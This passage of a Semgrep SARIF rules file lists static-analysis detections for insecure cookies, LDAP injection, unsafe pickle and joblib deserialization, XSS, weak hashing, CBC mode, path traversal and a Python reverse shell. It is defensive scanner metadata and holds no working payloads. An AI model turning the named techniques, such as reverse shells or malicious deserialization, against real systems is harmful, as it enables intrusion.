Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Options struct."},"help":{"markdown":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Options struct.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69)\n","text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Options struct."},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly","id":"go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly","name":"go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-constant data passed into an LDAP query. If this data can be controlled by an external user, this is an LDAP injection. Ensure data passed to an LDAP query is not controllable; or properly sanitize the data."},"help":{"markdown":"Detected non-constant data passed into an LDAP query. If this data can be controlled by an external user, this is an LDAP injection. Ensure data passed to an LDAP query is not controllable; or properly sanitize the data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.ldap-injection.ldap-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-constant data passed into an LDAP query. If this data can be controlled by an external user, this is an LDAP injection. Ensure data passed to an LDAP query is not controllable; or properly sanitize the data."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.ldap-injection.ldap-injection","id":"java.lang.security.audit.ldap-injection.ldap-injection","name":"java.lang.security.audit.ldap-injection.ldap-injection","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.ldap-injection.ldap-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Semgrep found a Python reverse shell using $BINPATH to $IP at $PORT"},"help":{"markdown":"Semgrep found a Python reverse shell using $BINPATH to $IP at $PORT\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.python-reverse-shell.python-reverse-shell)\n - [https://cwe.mitre.org/data/definitions/553.html](https://cwe.mitre.org/data/definitions/553.html)\n","text":"Semgrep found a Python reverse shell using $BINPATH to $IP at $PORT"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.python-reverse-shell.python-reverse-shell","id":"python.lang.security.audit.python-reverse-shell.python-reverse-shell","name":"python.lang.security.audit.python-reverse-shell.python-reverse-shell","properties":{"precision":"very-high","tags":["CWE-553: Command Shell in Externally Accessible Directory","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.python-reverse-shell.python-reverse-shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-dill)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `dill`, which uses `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-dill","id":"python.lang.security.deserialization.pickle.avoid-dill","name":"python.lang.security.deserialization.pickle.avoid-dill","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.pickle.avoid-dill"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data passed into HttpResponse. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"help":{"markdown":"Found user-controlled request data passed into HttpResponse. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse)\n - [https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss](https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss)\n","text":"Found user-controlled request data passed into HttpResponse. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse","id":"python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse","name":"python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure MD4 or MD5 hash function. These functions have known vulnerabilities and are considered deprecated. Consider using 'SHA256' or a similar function instead."},"help":{"markdown":"Detected use of an insecure MD4 or MD5 hash function. These functions have known vulnerabilities and are considered deprecated. Consider using 'SHA256' or a similar function instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.insecure-hash-function.insecure-hash-function)\n - [https://tools.ietf.org/html/rfc6151](https://tools.ietf.org/html/rfc6151)\n - [https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision](https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected use of an insecure MD4 or MD5 hash function. These functions have known vulnerabilities and are considered deprecated. Consider using 'SHA256' or a similar function instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.insecure-hash-function.insecure-hash-function","id":"python.lang.security.insecure-hash-function.insecure-hash-function","name":"python.lang.security.insecure-hash-function.insecure-hash-function","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.insecure-hash-function.insecure-hash-function"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Symmetric cryptographic operations were identified that use Cipher Block Chaining (CBC) mode. AES in CBC mode provides unauthenticated cryptographic encryption. CBC is also malleable, meaning that an attacker can influence the decrypted plaintext by modifying bits of the ciphertext (bit flipping attacks). Consider using an authenticated encryption mechanism, such as AES-GCM or ChaChaPoly. If CBC mode is **required**, consider augmenting the encryption with authentication by signing the ciphertexts with a Message Authentication Code (e.g. HMAC)."},"help":{"markdown":"Symmetric cryptographic operations were identified that use Cipher Block Chaining (CBC) mode. AES in CBC mode provides unauthenticated cryptographic encryption. CBC is also malleable, meaning that an attacker can influence the decrypted plaintext by modifying bits of the ciphertext (bit flipping attacks). Consider using an authenticated encryption mechanism, such as AES-GCM or ChaChaPoly. If CBC mode is **required**, consider augmenting the encryption with authentication by signing the ciphertexts with a Message Authentication Code (e.g. HMAC).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://zhangzeyu2001.medium.com/attacking-cbc-mode-bit-flipping-7e0a1c185511](https://zhangzeyu2001.medium.com/attacking-cbc-mode-bit-flipping-7e0a1c185511)\n - [https://arxumpathsecurity.com/blog/2019/10/16/cbc-mode-is-malleable-dont-trust-it-for-authentication](https://arxumpathsecurity.com/blog/2019/10/16/cbc-mode-is-malleable-dont-trust-it-for-authentication)\n","text":"Symmetric cryptographic operations were identified that use Cipher Block Chaining (CBC) mode. AES in CBC mode provides unauthenticated cryptographic encryption. CBC is also malleable, meaning that an attacker can influence the decrypted plaintext by modifying bits of the ciphertext (bit flipping attacks). Consider using an authenticated encryption mechanism, such as AES-GCM or ChaChaPoly. If CBC mode is **required**, consider augmenting the encryption with authentication by signing the ciphertexts with a Message Authentication Code (e.g. HMAC)."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode","id":"swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode","name":"swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-cbc-mode.insecure-crypto-cbc-mode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach `sandbox`."},"help":{"markdown":"Make sure that unverified user data can not reach `sandbox`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-sandbox-injection.express-sandbox-code-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"Make sure that unverified user data can not reach `sandbox`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-sandbox-injection.express-sandbox-code-injection","id":"javascript.express.security.express-sandbox-injection.express-sandbox-code-injection","name":"javascript.express.security.express-sandbox-injection.express-sandbox-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-sandbox-injection.express-sandbox-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the SHA1 hashing algorithm was identified which is considered insecure. SHA1 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: SHA1 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"help":{"markdown":"The use of the SHA1 hashing algorithm was identified which is considered insecure. SHA1 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: SHA1 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the SHA1 hashing algorithm was identified which is considered insecure. SHA1 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: SHA1 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1","id":"swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1","name":"swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-sha1.insecure-hashing-algorithm-sha1"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-secure-missing.django-cookie-secure-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-secure-missing.django-cookie-secure-missing","id":"python.django.web.django-cookie-secure-missing.django-cookie-secure-missing","name":"python.django.web.django-cookie-secure-missing.django-cookie-secure-missing","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-secure-missing.django-cookie-secure-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/](https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask","id":"python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask","name":"python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/](https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi","id":"python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi","name":"python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django","id":"python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django","name":"python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The SimpleTypeResolver class is insecure and should not be used. Using SimpleTypeResolver to deserialize JSON could allow the remote client to execute malicious code within the app and take control of the web server."},"help":{"markdown":"The SimpleTypeResolver class is insecure and should not be used. Using SimpleTypeResolver to deserialize JSON could allow the remote client to execute malicious code within the app and take control of the web server.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.script.serialization.simpletyperesolver?view=netframework-4.8#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.web.script.serialization.simpletyperesolver?view=netframework-4.8#remarks)\n","text":"The SimpleTypeResolver class is insecure and should not be used. Using SimpleTypeResolver to deserialize JSON could allow the remote client to execute malicious code within the app and take control of the web server."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization","id":"csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization","name":"csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-httponly-false.django-cookie-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-httponly-false.django-cookie-httponly-false","id":"python.django.web.django-cookie-httponly-false.django-cookie-httponly-false","name":"python.django.web.django-cookie-httponly-false.django-cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-httponly-false.django-cookie-httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application exports an activity. Any application on the device can launch the exported activity which may compromise the integrity of your application or its data.  Ensure that any exported activities do not have privileged access to your application's control plane."},"help":{"markdown":"The application exports an activity. Any application on the device can launch the exported activity which may compromise the integrity of your application or its data.  Ensure that any exported activities do not have privileged access to your application's control plane.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.android.security.exported_activity.exported_activity)\n - [https://cwe.mitre.org/data/definitions/926.html](https://cwe.mitre.org/data/definitions/926.html)\n","text":"The application exports an activity. Any application on the device can launch the exported activity which may compromise the integrity of your application or its data.  Ensure that any exported activities do not have privileged access to your application's control plane."},"helpUri":"https://semgrep.dev/r/java.android.security.exported_activity.exported_activity","id":"java.android.security.exported_activity.exported_activity","name":"java.android.security.exported_activity.exported_activity","properties":{"precision":"very-high","tags":["CWE-926: Improper Export of Android Application Components","MEDIUM CONFIDENCE","OWASP-A5:2021 Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.android.security.exported_activity.exported_activity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to 